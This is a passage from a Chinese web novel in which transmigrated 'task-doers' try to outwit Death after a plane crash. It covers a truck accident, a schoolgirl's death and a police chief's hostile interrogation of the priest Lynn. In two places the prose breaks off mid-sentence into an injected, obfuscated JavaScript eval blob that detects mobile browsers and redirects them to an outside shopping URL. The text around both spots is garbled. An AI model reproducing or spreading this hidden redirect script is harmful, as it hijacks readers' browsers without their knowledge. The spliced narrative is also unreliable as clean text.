护士离开后病房再次安静下来,今天是个难得的晴天,阳光从树叶间洒进来,细碎地落在病床上。 托德的嗓子因为勒紧脖子的钢丝受了伤,这会说不了话,他面色苍白,但精神还不错,见到艾利克斯还能坐起来给他一个拥抱。 艾利克斯眼眶湿润,他长长呼出一口气,看见还活着的朋友让他昨晚野草般滋生的郁闷也随之吐出大半。 安德鲁等两人拥抱完后才开始自己的问话,“昨晚你有发现什么奇怪的迹象吗?” 作为除林恩外唯一一个成功在死神设计的意外中活下来的人,安德鲁希望能从托德这里知道更多细节,试图找到隐藏的线索。 托德只能靠手写,效率实在有些低,艾利克斯就坐在一旁,看着托德颤抖着手写下昨晚经历的一切,那场如同噩梦一般被伪装成意外的谋杀。 一个个单词歪歪扭扭地落在纸上,艾利克斯却越看越陌生,他离奇地感到坐立不安。 自从进入医院后就仿佛有一只无形的手牵扯着他,要把自己一片片拆分开。 艾利克斯的视线不自觉地四处搜寻,从护士托盘里的针头,悬挂摇晃的安全通道绿色标识,到电梯启动时细微的咯吱声,他试图找到那只会带来危险的手。 此刻,艾利克斯的视线终于定下,他被托德病房里窗户玻璃的倒影吸引,原本透明干净的玻璃上此时倒映着一辆疾驰而过的红色货车。 就连耳边也瞬间响起因为轮胎失控摩擦地面的刺耳声响。 艾利克斯下意识转过头去,身后却是病人和医护人员通行的走廊。 艾利克斯心脏狂跳,血液在全身快速流动,冲上他的大脑。 脑中大作的警铃在告诉他,这就是下一次死亡预感,艾利克斯来不及思考,拿出手机迅速拨打了林恩的电话。 在手机屏幕亮起的瞬间,一辆载满了乘客的公交车已经出现在了楼下。 “滚吧!滚!我们分手!我不会让这件事永远缠着我,特别是你卡特,你就永远烂在泥里吧!” 人群中有人好奇地转过头来,打量的视线如同一张张令人窒息的大网将泰莉包围,她看见一直跟踪自己的记者发现了这个幸存者争吵的热点,正举着摄像头朝自己走来。 泰莉的脸涨得通红,从飞机事故后到现在积攒的委屈全部爆发。 她分明只是不想把自己的人生永远困在飞机事故里,她活得好好的,半点都不想再听见有关飞机失事的事,相关的人就更不想遇见。 可卡特,这个混账,还有那些找上门的记者和无数希望能探听到刺激故事的家伙,他们每个人都不愿意放过泰莉,仿佛拖着拽着也要把自己钉死在飞机残骸上。 她看见面目模糊的记者离自己越来越近,如果这会被记者堵住,泰莉接下来几天都能在报纸头条上看见自己的照片。 泰莉害怕地想逃走,可又实在气不过不顾自己的男朋友,她发泄似地把手机狠狠砸向卡特,一边怒骂一边想甩开记者逃跑,并没有意识到自己已经站在了道路边缘。 或许是出于愤怒手抖失去了准星,泰莉没有砸中卡特,但站在卡特身后的林恩就没那么幸运,手机边缘直直砸在林恩额头。 这一下简直和被砖头砸中没有分别,林恩只觉得自己仿佛被砸出了脑震荡,周围的人声变得越发嘈杂,所有人都像扯着嗓子用最大音量说话,人群来来往往,这些声音却又像隔着一层毛玻璃,林恩半个字都听不懂。 林恩捂着脑袋站在原地,在被放大的痛觉外,他隐隐约约察觉到哪里不对劲。 隐秘又黏腻的视线从上往下投射而来,就如同有怪物披着人皮混在人群里,饶有趣味地引导并观赏着两人的争吵。 这样的感受并不陌生,林恩已经经历了两次,都是死神到来的前兆。 037突然有些犹豫地开口,“林恩?是不是……” 林恩深深地呼吸两下,“是,祂来了。” 仿佛死神回应了林恩的想法,一辆横冲直撞的红色速运货车出现在林恩眼中,货车车厢没有关紧,一箱接一箱的货物从车厢滚落在地。 而司机仿佛喝了酒,歪歪扭扭的行驶路线让周围行人纷纷惊呼着躲避。 同时,裤兜里手机因为来电而不断嗡响,不详的预感达到顶峰。 如果被这辆货车撞实了,别说让林恩试验死而复生的方法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446990|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,泰莉能坚持着不当场死亡都能算是奇迹。 037叫得代码都要抖落两串,“林恩!!” 林恩来不及多想,他只知道不能让泰莉就这样死了,他的机会不能轻易减少。 林恩猛地推开挡住自己视线的卡特,他扑上前,像一只不畏惧死亡,朝前跃过断崖的羚羊。 泰莉被愤怒冲昏了头脑,她没有看见原本即将转弯此刻却仿佛被固定了目标朝自己冲来的货车,还想继续放狠话时却突然眼前一花,被扑过来的林恩滚成一团。 “哐——!” 失控的货车直直撞在路灯上,车上运送的货物倾洒满地。 所有的一切都在林恩眼中变慢,周围人群因为惊惧慢了一拍,此时才发出嘈杂的尖叫,仿佛电影里被按了0.5倍速的慢动作四散而逃,他能听见克莱尔撕心裂肺地在叫自己的名字,看见她目呲欲裂的表情。 柳敦震惊地快要忘记呼吸,手里的收纳箱砸落在地,身体前倾,似乎也要扑上来救泰莉,只是她慢了一步。 在林恩脚尖碰到地面的下一秒,世界又恢复了原有的速度,林恩和泰莉滚做一团。 他们晕头转向地撞在对面甜品店的一张大理石桌子的桌腿上,泰莉发出痛叫。 林恩后脑勺磕在地面,他全身都痛得厉害,猛然爆发出来的力量几乎要把林恩身体里最后一丝能量也一起抽走,手软得抬不起来,胸口处骨裂般疼痛。 钝痛让他没精力关注刚刚死里逃生的泰莉,周围的尖叫声此起彼伏,有人朝自己疾步跑来。 他像被一根线吊着,勉强睁开眼睛,却看见桌面上挨着边缘摆放的餐盘因为撞击摇摇欲坠,上一个吃甜食的客人显然没有把餐具放好。 一把寒光闪闪的叉子倾斜着,仿佛被谁轻轻地,轻轻地点在末端。 这是来自死神的轻佻玩笑。 叉子于是像被挥下的刀剑,一寸一寸地下坠,即将刺入林恩的眼眶。 林恩想躲,但刚才打滚时不知道撞到哪根神经,他刚弹起来几毫米,又因为两条腿麻痹无力地倒了回去。 林恩眼睁睁看着叉子越来越近,只有仍旧活跃的意识在他脑子里闪光弹般炸开,大脑在叫嚣着让他躲开,身体却无能为力。 可叉子停下了,在相距不过两厘米的地方,一只手握住了叉子。 “好巧,赶上了。” 从林恩的视角,从下往上他能看见一只骨节分明的手,正因握紧叉子而手腕筋骨凸显。一片藏青色的衣角靠近自己的鼻尖,如同烧焦皮革的香水味在空气中弥漫。 有人弯腰蹲在自己身侧。 林恩刚刚因为死里逃生的心脏狂跳得几乎要跳出他的胸膛,血液迟钝地涌上大脑,把那些因为紧张而绽开的刺痛抚平。 林恩顺着手臂往上看,一张脸闯入林恩的视线里。 那是一张英俊到锋利的长相,他没有卧蝉,眼睛没有半分笑意,只有左眼瞳孔往下一厘米的地方有一颗如同被墨水浸染进去的痣。 他和周围格格不入, 出于任务者的直觉告诉林恩,这个男人也是闯入恐影世界的任务者。 8. 死神游戏 人群既躁动又恐惧,街道中心空出一大片。 克莱尔眼眶通红地扑上前,悬在半空的手甚至不敢碰林恩,颤抖着声音问:“你怎么样,有没有哪里受伤?” 林恩吃力地摇摇头,但冷汗已经打湿他的额角。 克莱尔小心地扶着林恩的胳膊,“林恩,我们去医院看看吧。” 林恩却想先拿出手机,因为它在不断嗡响如同催魂索命的诅咒。 另一边被救下的泰莉正惊魂未定地跌坐在地,她手脚被抽筋去骨般无力,捡回一条命的剧烈刺激让她趴在地上干呕得仿佛要把内脏一起吐出来,可等她哇地干呕后却只有透明的水。 眼泪流了满脸,嘴里也因为涌上来的胆汁发苦,泰莉哆嗦得不成样子,“……我、我怎么了?我还活着吗?” 柳敦从惊惧中回过神来,急忙扶起她,冷汗浸透两人的衣服,他们仿佛才从海里被打捞出来。 柳敦看着昔日打扮精致的学生,现在却狼狈不堪。柳敦也被刚才发生的事吓得像被锤子击中后脑又不敢表现出来,她还在哆嗦,却用温热的手心一下下顺着泰莉脊背抚摸,“好了好了,已经安全了,我先扶你坐下吧,要不要我和你妈妈打电话让她来接你?” 泰莉显然受到了巨大的惊吓,听见妈妈后情绪才渐渐平缓。她的下巴有一块擦破皮的伤口正在往外渗血,泰莉现在才感受到疼痛,抽泣着点头。 柳敦空出来一只手拿手机,想把泰莉就近扶到了林恩身边坐下。 可泰莉却受了刺激般惊叫着连连摇头,“不不不!我不要在这,离路边远点!” 柳敦只好扶着泰莉一撅一拐地往更里边走。 “谢谢你,老师……” 柳敦笑了一下,再次帮助学生的举动让她从连日来飞机失事的阴霾中感到些微放松,她虽然活了下来,可代替她登上飞机照顾其他学生的老师却死了。 柳敦有时会做梦,梦里是她登上飞机,同事则留在候机厅。 等她在烧穿身体的烈火中惊醒后,强烈的自责和后怕让柳敦疲惫得如同已经死过一次。 她抬起头,刚想说不用谢,却看见对面站着的卡特满脸惊悚,接着一片巨大的阴影落在地上越压越近,越来越大,直到将泰莉的影子全部覆盖。 同时“哐”的一声闷响在柳敦耳边响起。 身边泰莉直挺挺倒下。 柳敦半张脸都是血,她极缓慢地回头,呆呆地看着倒在地上的泰莉。 泰莉的后脑勺被一根路灯支出的铁管砸在地上,是刚才被货车撞上的路灯。 路灯上伞状的边角暴力戳进泰莉的后脑,砸出拳头大小的洞,暗红的鲜血汩汩涌出。 泰莉抽搐两下后就没了动静。 在她对面,卡特仿佛被人抽走脊椎跌坐在地,他张了张嘴却什么声音也没有发出,淡黄的水渍从裤脚滴落,腥臭味弥漫在空气中。 林恩听见声音转过头时已经来不及了,他难以忍受般闭上眼,无力感从身体深处往外渗出。 失败了。 从失控的货车下救下泰莉并没有用,死神的设计还没有停下,祂仿佛知道泰莉会因为害怕远离马路,林恩因为突然爆发已经没有余力,克莱尔也会优先来到林恩身边,当泰莉身边只有不相信死神的人时,真正的死亡才会露出暴力却隐秘的一角。 可以尝试的机会再次减少,下一个又会轮到谁? 身侧的克莱尔不自觉地抓紧了林恩。 不远处警车滴唔滴唔的声音越来越近。 三名警员从两辆警车上下来,用黄色警戒线拉出一个空心。 其中一位警员留在现场,另外两名警员则把相关的人带走。 柳敦呆滞地被塞进警车,她浑身发冷,血从脸上渗进衣服里,也滴进她的心里,如果她没有去扶泰莉,泰莉是不是就不会死? 卡特也被从地上拉起来,他死死盯着地面,不敢朝泰莉的方向多看一眼。 克莱尔被带走时挣扎着喊:“不,等等,让我和林恩坐一辆车,或者先送他去医院……” 但警员没有继续听她说话的意思。 不到半小时,几人就被分散,暴力押进两辆警车里去往该区警察局。 这辆车上除了开车的警员外只有林恩和救他的男人。 警车的坐垫自然算不上舒服,林恩疲惫地后仰,有些长的刘海也随之向后,露出一点光洁的额头。 有风从前排打开的车窗灌进来,林恩皱了皱眉,但因为疲惫也不想说话。 “把前窗关上。”身边的男人忽然开口。 林恩本来不想睁眼,可灼热的视线一直流连在他的脸上,让他想装睡休息一会都不行。 他眯了眯眼睛,疑惑不解,“你认识我?” 长成这样的脸就算林恩是脸盲估计都要过目不忘,林恩能肯定这是他们第一次见面。 警车驶过两栋高楼中间,阳光被彻底遮住,车内变得昏暗,但宋飞白的眼睛很亮。 他脸颊旁的肌肉动了动,那是后槽牙轻轻上下碰了碰的动作,男人却说:“我是宋飞白,这是我第二次见你,” 因为车窗被关上,林恩鼻尖已经可以隐隐嗅到宋飞白身上如同烧焦皮革的香水味,他像一只在散发信息素的野兽。 林恩有点懵,他没明白宋飞白的意思。 两人同为任务者,宋飞白在任务开始后却一直没有出现,他只能猜测要么是宋飞白想再观望一会,要么是两人的任务相悖,是对立方。 可为什么宋飞白现在却出现了? 林恩还想问,轮胎却不知道压在了什么上,林恩在坐垫上颠了一下。 他听见坐在前排的年轻妹妹头警员疑惑地啊了一声,接着车速渐渐慢慢下来,直到停在道路中央。 警员骂了句脏话,把后门锁死后回头向林恩和宋飞白象征性警告,“安分点。” 宋飞白没理警员,只换了个更舒服的姿势,警车里太窄了,宋飞白的腿只能别扭地曲起。 林恩把头靠在车窗上,看见妹妹头警员弯腰查看后眉头就紧紧皱在一起,嘴里叽里咕噜又骂了几句脏话后才拿出手机。 应该是在向警局报告轮胎漏气了,请其他空闲的警员来帮忙把三人接回警局。 在打电话时,原本开在林恩后面的载着卡莱尔几人的警车就擦着他们过去,渐渐开远看不见影子。 车里克莱尔趴在车窗上,整个人紧贴着玻璃恨不得探出去,她焦急地喊,“快停下,你看不见吗?林恩受伤了!快把他送去医院!!” 可两辆车的距离却越来越远,警员只当这个青年在无理取闹,半点都不想搭理。 克莱尔看不见林恩的车了,她愤怒地坐回去,指甲深深地陷进手心,她的手机早被警员收走了,等下车后,她一定要找到机会给安德鲁打电话。 另一边,继续坐在车上实在危险,警员打开车门,他反复警告了几句才让林恩两人和他一起站在路边的一辆冰淇凌车旁边。 警员并没有将林恩几人当做嫌疑人,他更倾向于这两人是倒霉的路人,毕竟现场看起来就是个意外。只是警长出于程序需要将他们带回警局问话,但不紧张不代表警员没有警惕。 他手按在枪套上,时不时回头看一眼两人。 宋飞白没在意这个存在感强的监视者,他把车上没说完的话继续补充道,“我第一次见你是在机场。” 机场,那就是任务重启的那天,林恩去接遭遇飞机事故的克莱尔,原来那天宋飞白也在现场。 宋飞白捕捉到了林恩脸上越发疑惑的神情,他脸上锋利的眉尾轻轻上挑,“在机场见面后我回去拿了个东西,今天才回来。” 林恩更懵了。 回去?回哪去? 现实世界? 可想回到现实世界只有一个方法,任务结束后脱离。 林恩想,现在任务没有完成,想脱离任务世界就只有死亡,而死亡回到现实世界会被扣除一千积分。 林恩少一积分就得死,宋飞白却为了拿个东西随便死。 虽然林恩还是不明白宋飞白是怎么回来的,可他还是想先抹把脸,欠着十万巨债的林恩也想这么奢侈一把。 两人没再说话,虽然阳光不算强烈,但身体虚弱的林恩 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他的感官再次被放大,楼上高层用来装修的电钻嗡嗡响着争抢进入他的耳朵,二楼的商场似乎正在促销,无数客人蜂拥着挤上扶梯,把每一阶都站满,离他最近的冰淇淋车内机器正在飞速运转,但商场促销带来的客流量让机器明显吃不消,冰淇淋的奶香中夹杂着机器过热的焦糊味。 微凉的风把气味吹向排队的孩子。 林恩微微低头,他又“看见”了。 从警员手里拿走硬币的小女孩回到队伍的末尾,她还是没有拿稳,那枚硬币即将再次从她的指缝滚落,这次不会滚到林恩的脚下,而是会仿佛被透明丝线牵引着一般滚向扶梯。 它可能会卡进扶梯的间隙,落在某个老化的零件上,接着如同多米诺骨牌似地引发一连串意外。 死神正在兴味盎然地等待。 037悚然地问:“真的会这样吗?” 以往的经验已经告诉了他们结果,林恩从外套里拿出一张十美元的纸笔按在小孩掌心,换走了那枚总是掉在地上的硬币。 忽略表情古怪瞪着林恩的娃娃头警员。 林恩看向宋飞白,正和宋飞白含笑的眼睛对视,他左眼下的那颗小痣正因为动作而被挤得更加明显。 林恩问:“你怎么知道的?” “经验,”宋飞白那锋利的长相让他笑时都戾气横生,“我见过太多类似的东西。” 宋飞白再开口时阳光洒下来,落在他的下颌骨上,如同帮他镀上一层璀璨的金,“两次帮忙,把这个作为合作的投名状怎么样?” 宋飞白把手心按在自己胸膛,表示自己是有诚意的。 林恩的视线落在宋飞白身上,那是一只漂亮的手,纤长的五指,薄薄一层皮贴在骨节上,青色的血管埋进皮肉。 但那只手同样布满伤痕,足有三四厘米长的陈旧疤痕落在侧面,如同要把宋飞白切割开来。 周围声音足够吵闹,警员还要分心注意别让小孩靠近林恩两人。 林恩的心脏怦怦跳动,让他原本苍白的脸染上些许血色,如果能和宋飞白合作,完成任务的可能性就会更大。 但林恩没有立刻同意,他想更稳妥些,至少要确认两人的任务一致。 林恩和系统签订的合同在第一页就加粗写着,不能将系统的存在暴露出去,否则宿主会立刻死亡。 因为林恩的任务也都是系统那接的,他不确定自己的任务是否和别人的相同,再加上直接说出任务也算违反合同,他只好委婉地问:“你想做什么?” 宋飞白抬眸望着林恩,说:“结束死神游戏。” “好,我们合作。” 冰淇淋还没有卖完,接应的警车已经停在他们身边,林恩和宋飞白重新坐到后排,开车的是一位老警员,娃娃头警员则坐在副驾驶。 当林恩和宋飞白到达警局时,二楼办公室里警长正把一杯咖啡放在柳敦面前。 柳敦低着头沉默,仿佛没有看见冒着热气暖烘烘的咖啡。 “接下来,让我们来聊聊,柳敦老师,”警长不在意这点冷遇,他胜券在握地微笑着,“你想告诉我什么?” 柳敦这才将双手放在桌面,虚虚拢着咖啡杯,她看见自己的手还在发抖,虽然已经洗过脸,但温热的鲜血似乎还停留在侧脸。 9. 死神游戏 警长唐尼是个发际线有些高,下巴有一圈稀疏胡茬的男人,睡眠不足的他眼下青黑,此刻唐尼喝了一口咖啡,长长的风衣下摆垂在皮质座椅两边。 接着唐尼身体前倾,蛊惑一般轻轻问:“柳敦老师,你是个成年人,现在死去的可是你的学生。你难道不想说些什么吗?” “说什么?我应该说什么?” 柳敦张了张嘴,无数词语从她的脑子里往嘴巴钻,飞机事故,葬礼,艾克利斯的疯话,泰莉……她的学生,还没有成年,就这样面目全非地死在自己眼前,温热的血落在她眉心,烫得她现在都不敢闭眼。 现在她应该说什么,说自己早已经买好了明天的火车票离开纽约,本该在家收拾行李的自己现在却在警局喝咖啡? 柳敦是个成年人,她知道有些东西说出来就会变成现实,那个杀了无数人的存在将会真切地出现在自己面前。 唐尼将她的表情变化看在眼里,他看得出柳敦的理智摇摇欲坠,柳敦在仿徨,在犹豫,唐尼只需要轻轻引导就能知道真相。 咖啡的香味在室内越发浓郁,如同蛊惑人心的迷药。 唐尼循循善诱,“说说林恩,说他作为克莱尔的养父是怎么牵扯进泰莉的死。” 对,林恩,那个在十年前就该死却未死的连环车祸幸存者,那个活跃在各个现场的嫌疑人。 唐尼对自己即将听到的内容充满期待。 柳敦身体一晃,仿佛被子弹击中,她抬起头,眼眶发红地看着面前这个警长。 警长的话像抛出炸弹,“想想卡特,泰莉的男朋友,你还有剩下的几个学生,他们还活着。柳敦老师,为他们想想。” 柳敦嘴唇都咬出了血,哆嗦着语不成调,“……你相信死神吗?” 死神?代号还是传说? 警长表情凝固在脸上,手指曲起握成拳头,额角爬上青筋,他要全力忍耐才能不暴怒站起,“死神?你再多说说这位死神,或许我就相信了。” 柳敦看着窗外,“我不知道怎么解释,那辆公交车是哪来的?我明明只是把泰莉扶起来,为什么被撞断的路灯会砸在她头上,如果,如果我没有……” 唐尼不想知道案件细节,这些东西他去翻监控可以看得更清楚,如果柳敦再说不出有用的话,他就快失去耐心了。 “可我看见祂了,当路灯砸下来时,有一片漆黑、可怖的阴影压下来。” 阴影? 唐尼拳头握得更紧,他期待得到自己想要的答案, “是林恩?” 柳敦却摇头,脸色越发惨白,冷汗顺着额角滚落,滴在桌面形成深色的痕迹,“不,是死神。” “好了,柳敦老师,你累了,先休息吧!” 唐尼忍无可忍地站起来,他已经受够了这些受害者给自己强加的无法反抗戏码。 柳敦仿佛被吓到,猛地闭上嘴,她手脚无力地瘫软在座椅上,小声说:“林恩来警局了吗?让我离他远点吧……我不想再做噩梦了。” 唐尼没反对,“你可以就在这里休息,我不会让林恩找到你。” 说完唐尼大步离开房间,他推开门和对站在门前的女警点点头,边走边和女警交代,“别让柳敦离开,我要把她留下来。” 女警佐伊是最近两年才入职的新人。 唐尼问:“林恩到了吗?” “都在一楼呢。” 佐伊早听说警长一直在追查十年前连环车祸幸存者死亡的案子,再加上市中心的医院旁发生了一起诡异的命案,此刻两起命案的相关者竟然就在楼下。 她没忍住好奇问道:“警长,柳敦说了什么?这起案子是意外吗?” “意外?”警长瞥了佐伊一眼,从鼻子里喷气,“哼,柳敦是吓傻了,一个成年人还是老师,竟然把林恩想象成了不可战胜的怪物。死神?哈,我倒要看看这个“死神”要怎么解释。” 唐尼从二楼往下看,大厅里,林恩正和两个青年站在一起,除他们外,还有一个站姿挺拔的男人。 佐伊也看见了,她震悚地退后两步,说出的话连自己都不相信,“他,他不是死了吗?” 佐伊清楚地记得,就在一个月前,警局接到一通报案,有人从河底打捞出一具尸体。 佐伊在停尸房见过这具尸体,手指皮肤生出惨白的褶皱,冰冷的体温和僵硬的四肢都证明这个人已经死了。 可现在,他又真切地站在楼下,并且会呼吸,能说话。 唐尼也头晕,但他参与过大大小小无数案件,此刻竟然比从柳敦嘴里听见死神这个荒谬的词语时更加冷静,他敏锐的直觉告诉自己,这个男人的加入是一场真正的意外。 “哈哈,看吧,又来一个“死神”,真该让柳敦也知道,”唐尼笑了一下,眼睛却冷冷俯视着楼下的人,他不相信有人可以死而复生, “佐伊,去查,不论用什么办法,找到这个人所有线索。” 楼下空气被尿骚味充斥,这些人甚至没让卡特换条裤子,当然,主要原因是卡特完全不配合。 卡特自从进入警局后就一动不动,他仿佛痴呆了一般,完全不在意自己已经变得冰凉的牛仔裤,嘴里不断重复着几个单词,“对不起,我不该,不该去的……” 直到看见从门口走进来的林恩,卡特猛地低下头,嘴里的舌头被死死咬住,半点声音也漏不出来。 卡特哆嗦起来,又忍不住悄悄抬头。当时太混乱了,但卡特看见了,林恩毫不犹豫地扑上去救泰莉。 他看着林恩,像在看一只引他靠近的恶鬼。 克莱尔则眼眶泛红地围着林恩转,她记得林恩从公交车下滚出去时撞到了头,或许胸口也有伤,“林恩,你现在感觉怎么样,头会不会晕?” 说实在的,林恩现在是恨不得直接倒地上被拉去医院,他太阳穴突突地跳,脑子里像有人在用他的神经弹琴。 林恩眉头不自觉微微皱起,嘴里的话却相反,“没事,等离开警局后我吃两颗药就好了。” 但克莱尔显然不赞同这样的说法,她现在就想看着林恩把药吃了。 可惜药还没拿出来,唐尼先出现了。 唐尼直直朝林恩走去,与十年前连环车祸案有关的细节他都倒背如流,每天每夜,卷宗堆满了他的档案柜。 而林恩这张脸,除了照片与视频,他却已经将近十年没有面对面了。 门口的阳光洒进来,落在林恩的侧脸像跃动的金点。 这张脸和十年前没什么差别,读了硕士,还成了神父,收养了昔日老师的女儿,现在他完完整整的站在警局,还能说话还有体温。 可其他车祸幸存者呢,他们已经埋进地里十年了。 林恩看见朝自己走过来的唐尼警长,他后退一步,“警长,柳敦老师呢?” “柳敦?你放心,我会保护好她的,倒是你,”警长咬肌抖了一下,像在咬碎一只从肺腑里钻出来的毒虫,“林恩,十年前只有你活下来了,现在又是你,真的只是巧合吗?我们可以好好聊聊。” 唐尼越走越近,挡住了那一线照进室内的日光,屋里终于暗下来,唐尼背着光的脸在阴影下如同蒙上了一层黑纱。 直到唐尼被人挡住。 宋飞白站在两人中间,像一片阻挡激流的刀刃。 男人很高,在藏青色外套下的肌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个男人十分危险,现在却主动走进警局。 不管怎样,唐尼不会放任宋飞白离开。 他朝呆在角落里的佐伊喝道:“愣什么愣,快把他关起来!” 佐伊被自己暴脾气的警长吓一跳,她跑到宋飞白身边,“跟我来,我带你去临时关押区。” 宋飞白没动,他微微低头,漆黑的瞳孔牢牢锁定在林恩身上,“你不想让我跟着?” 林恩愣了一下,不得不感叹,这人合作意识未免太强了,这会竟然还要和他商量? 虽然他确实不想宋飞白参与到他和唐尼的对话中。 林恩朝宋飞白点点头。 宋飞白没再多说。 临走前,佐伊抓住机会问,“警长,那克莱尔几人呢?还有一个被吓坏的卡特,他们都是未成年人,现在飞机事故的热度还没有消退,记者们都盯着呢,警局不能毫无理由地关押他们,我给他们放了?” 警长摆摆手,他对这些未成年不感兴趣,“该放就放,别让那些小报记者找到机会。” 但离开前唐尼还是折返回来,他把收走的手机拍在克莱尔手心,用常年握枪带硬茧的手指戳了一下克莱尔肩膀,警告道:“不该说的别说,明白吗?” 克莱尔不是孩子,她当然知道警长的意思,此刻因为唐尼明显的羞辱威胁而脸色涨红,可克莱尔依旧乖乖点头,眼睛盯紧地面,仿佛被吓坏了。 唐尼满意地走了。 但让克莱尔守口如瓶却不可能,拿到手机的下一秒,克莱尔拨通了那个早已经录入通讯录的电话号码, “安德鲁,我们被带到了警局,求你,来帮帮林恩……” 电话对面的安德鲁停顿两秒,难得凝滞,“我会尽快过来,但唐尼,他决不会轻易放人。” 10. 死神游戏 十月末,警局因为缺少开窗通风,温度比街道上更高,空气也更加干燥。 唐尼把人带回自己另一间办公室,作为警长他有资格获得一些特权。 这里比柳敦呆的办公室更加杂乱,地上乱七八糟丢着有黑色字迹的纸团,角落里一盆不知道是什么名字的植物完全蔫了,枯黄得像沾水的宣纸。 桌面两边堆着高度到手肘的文件,两侧的柜子里也全是文件袋。 唐尼脱下风衣随手扔在堆积着文件的桌面上,哗啦啦一声滚落几叠纸。唐尼也不在意,他半倚靠着桌缘,把嘴里的香烟点燃,深深吸了一口又吐出来。 烟雾报警器早被唐尼用抹布包裹住,他抽得有恃无恐。 林恩过度使用能量的后遗症越发明显,此刻浑身针扎似的痛,刺激的尼古丁气味顺着鼻腔进入肺部,林恩每咳嗽一下就带动胸口抽痛,他的脸色更白了。 察觉到林恩的视线,唐尼斜着眼睛看过来,带点挑衅地说:“看什么?呵,这里是我的警局、我的办公室,抽支烟有问题吗?” 林恩耸了下肩,肌肉的疼痛刺激着他的大脑。 他做好了唐尼质问他的准备,毕竟唐尼等这一刻已经等了十年。 可室内陷入诡异的寂静,没人说话,唐尼一口接一口抽着烟。 可能只有几分钟,唐尼把快要燃到手指的烟蒂摁灭在桌面,发出滋滋的细微声音。 “我可以把你抓起来,送进审讯室然后是监狱。林恩,你不会想知道拷问的滋味。” 林恩揉了揉发胀的太阳穴,这里没有属于他的座椅,林恩想尽快离开,“唐尼警长,你没有证据,不能拘留我。” 唐尼从桌面的文件里抽出一张纸,“那不巧了,现在躺在重症病房昏迷不醒的货车司机你认识吗?” 一张照片被唐尼单手拿起,展示给林恩,那是一个长相平平无奇的络腮胡中年男人。 林恩垂下眼睫,声音很轻地回答:“不认识。” 唐尼将纸举起来放在阳光下,一行一行地看完上面的字,“司机每周都会去参加弥撒,”他笑了一下,“就是你经常去的那间教堂,你却说不认识?” “这不能证明我和他相识,你知道的,唐尼,即使你多么想立刻把我抓起来审问,但不是现在。” 唐尼早猜到林恩不会承认,也不气馁,只是站直,用向下的视线观察林恩,“但我有理由怀疑你,所以你会被我关进拘留室,直到司机醒来。这期间不管你做什么都别想着避开我了。” 能量耗尽的症状越来越明显,林恩仿佛站在钉子上,冰凉的刑具往他小腿里钻,唐尼的声音像一条锋利的线钻进他的耳朵。 唐尼看见额头渗出冷汗的林恩,还以为自己的话见效了, “林恩,说实话吧,你去教堂干什么呢?只是单纯地参加弥撒?不对吧,你是在和这个司机接头密谋……” 林恩沉默地低着头,唐尼继续咄咄逼人:“林恩,你是真的信奉上帝吗?难道你不是个看见圣经就会过敏的病人?十年前的葬礼,你忘记了,我可还记得你看见十字架,听见悼词就吐了。装这么久,不难受?” 林恩牙齿咬得很紧,把咳嗽全部吞回去,“唐尼,呵,警长,你别自欺欺人了,十年前和现在的凶手并不是我,至于信仰,教堂里所有信众有目共睹。” 房间里再次安静下来,周围的空气极速压缩,如同抽空一个飘在天上的气球,林恩快要呼吸不上来。 他撒谎了,林恩实在不是个诚信的人。 这十年前,林恩不仅是在履行人设,也是在观察,看所有来教堂的人。 这些人里有初生的婴儿,也有垂垂老矣的病人。 有人破产,有人命不久矣。 这些人都在死神的名单上,同时在那里,林恩再次遇见黑人验尸官。 黑人验尸官每周都会来,当弥撒开始时,他就坐在下边的椅子,安静地参与全程。 阳光从教堂色彩斑斓的玻璃照进来,如同一片片彩色糖纸,所有人都在虔心祈祷,只有黑人始终注视着林恩,那眼神像在看包裹在糖纸中翠绿的宝石。 十年前就是这个人告诉了老师死神游戏的本质,幸存者们东躲西逃,哀嚎求饶却一个个死去。 而就在几个月前,黑人主动找到林恩,作为死神在人间的代言人,告诉林恩死神游戏的本质与结束办法,他看着林恩,仿佛在他体内深处,死神就在那,用欣喜、渴望、垂涎的目光透过黑人凝视林恩的每一根发丝。 死神伪装成伊甸园里的黑蛇,祂想加大游戏难度,给林恩足够的诱惑和筹码,告诉他这次是唯一的机会,唯一可以结束游戏的机会,只要林恩再次参与游戏。 “林恩,我记得你的心理评估,什么来着,极度危险,那些心理医生都预测你会伤害别人。你用救他们的借口究竟想达成什么样的目的,你以为我不知道?哈哈,别装了,告诉我你是怎么杀了他们的?” 唐尼依旧在滔滔不绝,陷入自己狂热的幻想。 林恩的手在发抖,有人在妄图解剖他,分开他的皮肉和骨骼观察他的内在。 林恩咬牙切齿,这个偏激的警长在十年前就是阻碍他们的一员,现在依旧想阻碍他。 有什么要从骨髓里涌出来,在林恩中空的骨骼中烹煮,滚出灼伤人的气泡,“唐尼,那你呢?你像条猎狗般追了我十年,好厉害,我们的警长,你以为我要杀了他们?那当时他们死的时候你在哪?追着我找到了什么线索?!” 等林恩一口气说完呼哧喘气时,林恩自己都觉得惊讶,他抬起头,警长同样面色惨白地呆滞在原地,眼眶却迅速赤红。 警长牙齿咬得腮帮子都在发抖, “好哇,看看,看看我们的神父,我们社区最年轻、最虔诚、最受人敬仰的神父,他这会儿又在说些什么,对着一个你曾经尊敬的警长,对着你朋友的……” 可惜话还没说完, “唐尼!!” 办公室外传来一声怒喝。 门被嘭地打开,是安德鲁气势汹汹闯进来,他看了眼明显已经冷汗涔涔的林恩,再转向曾经的同事唐尼,愣了一下,不可一世的唐尼竟然狼狈得脸色惨白。 安德鲁不知道他们说了什么,只听见最后一句,不管怎样,安德鲁拔高声音, “够了!唐尼,已经够了!!你从十年前的连环车祸案就一直怀疑林恩,他那时候才多大?十六岁!” 